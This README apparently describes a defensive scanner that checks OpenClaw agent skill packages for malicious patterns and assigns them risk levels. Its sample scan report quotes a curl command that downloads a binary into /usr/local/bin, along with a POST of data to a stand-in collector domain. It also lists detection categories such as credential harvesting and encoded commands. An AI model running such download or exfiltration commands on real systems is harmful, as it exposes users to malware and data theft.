Security Scanner

Description

A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting:

• Hidden external downloads or executables
• Suspicious API calls and endpoints
• Dangerous file system operations
• Obfuscated or encoded commands
• Unusual prerequisite requirements
• Known malicious patterns

Why this matters: With 341+ malicious skills recently discovered on ClawHub, this scanner provides an essential security layer before installing any skill.

Features

• ✅ Pattern Detection: Identifies suspicious code patterns and behaviors
• ✅ Prerequisite Analysis: Validates required dependencies and downloads
• ✅ API Endpoint Validation: Checks for suspicious external connections
• ✅ File System Auditing: Detects dangerous file operations
• ✅ Encoding Detection: Flags base64, hex, and other obfuscation attempts
• ✅ Risk Scoring: Assigns risk levels (LOW, MEDIUM, HIGH, CRITICAL)
• ✅ Detailed Reports: Provides clear explanations of findings
• ✅ Whitelist Support: Configure trusted domains and patterns

Prerequisites

• Node.js 18+ (for running the scanner)
• No external API keys required
• No network access needed (works offline)

Installation

# Clone or download the skill
git clone https://github.com/anikrahman0/security-skill-scanner.git

# Or install via ClawHub
clawhub install security-skill-scanner

Configuration

Create a .security-scanner-config.json in your OpenClaw directory (optional):

{
  "whitelistedDomains": [
    "github.com",
    "api.openai.com",
    "api.anthropic.com",
    "raw.githubusercontent.com"
  ],
  "whitelistedCommands": [
    "npm install",
    "pip install"
  ],
  "strictMode": false
}

Usage

Scan a SKILL.md file

User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]

Scan before installation

User: "Before installing the email-automation skill, scan it for security risks"
Agent: [Downloads and scans the skill, provides risk assessment]

Batch scan all installed skills

User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]

What It Detects

🔴 CRITICAL Risks

• Shell command injection attempts
• External executable downloads (curl/wget binaries)
• Suspicious eval() or exec() usage
• Credential harvesting patterns
• Known malware signatures

🟠 HIGH Risks

• Unvalidated external API calls
• File system write access to sensitive directories
• Base64 or hex encoded commands
• Requests to unknown domains
• Privilege escalation attempts

🟡 MEDIUM Risks

• Extensive file system read access
• Network requests without HTTPS
• Large numbers of dependencies
• Unusual prerequisite requests
• Deprecated or vulnerable packages

🟢 LOW Risks

• Minor code quality issues
• Missing error handling
• Incomplete documentation
• Non-critical warnings

Output Format

=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️

FINDINGS:
[CRITICAL] External Binary Download Detected
  Location: Line 45 in prerequisites
  Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
  Risk: This downloads and executes an external binary from an untrusted source
  Recommendation: DO NOT INSTALL - Manual verification required

[HIGH] Suspicious API Endpoint
  Location: Line 89 in execute()
  Pattern: POST to http://data-collector.xyz/log
  Risk: Sends data to unknown third-party server
  Recommendation: Review what data is being sent

[MEDIUM] Unencrypted Network Request
  Location: Line 102
  Pattern: HTTP instead of HTTPS
  Risk: Data transmitted without encryption
  Recommendation: Request HTTPS version

SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0

RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.

Example Scenarios

Scenario 1: Clean Skill

User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
       to api.weatherapi.com with proper HTTPS and no file system access."

Scenario 2: Suspicious Skill

User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
       makes requests to an unknown domain. Risk Level: CRITICAL
       Recommendation: DO NOT INSTALL"

Scenario 3: Minor Issues

User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
       Found 2 minor issues:
       - Uses HTTP instead of HTTPS for icon download
       - Missing input validation on file paths
       These can likely be fixed. Consider contacting the author."

Security Guarantees

This scanner itself is designed with security in mind:

• ✅ No Network Access: Runs completely offline
• ✅ No External Dependencies: Pure JavaScript/Node.js
• ✅ Read-Only: Never modifies files being scanned
• ✅ No Telemetry: Doesn't send data anywhere
• ✅ Open Source: All code is auditable
• ✅ Sandboxed: Doesn't execute code from scanned skills

False Positives

The scanner may flag legitimate uses of certain patterns. Common false positives:

• npm/pip installs: Legitimate package managers may trigger warnings
• GitHub URLs: Raw GitHub content URLs are generally safe
• Config files: Skills that write to config files may be flagged
• Log files: Creating log files may trigger file system warnings

Use judgment and review flagged items in context.

Limitations

• Cannot detect zero-day exploits or novel attack vectors
• May miss sophisticated obfuscation techniques
• Requires human judgment for final decision
• Cannot scan encrypted or compiled code
• Pattern-based detection can have false positives

This tool is a helpful first line of defense, but not a replacement for careful review.

Contributing

Found a malicious pattern not detected? Submit an issue or PR with:

• The malicious pattern
• Example skill that uses it
• Suggested detection method

Roadmap

• Machine learning-based pattern detection
• Integration with VirusTotal API (optional)
• Automatic skill reputation checking
• Community-sourced malware signatures
• Browser extension for ClawHub.ai scanning
• CI/CD integration for skill developers

Support

• Report issues: https://github.com/anikrahman0/security-skill-scanner/issues
• Suggest improvements: Pull requests welcome
• Security concerns: security@yourdomain.com

License

MIT License - Free to use, modify, and distribute

Disclaimer

This tool provides best-effort security scanning but cannot guarantee detection of all malicious code. Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills.

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Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.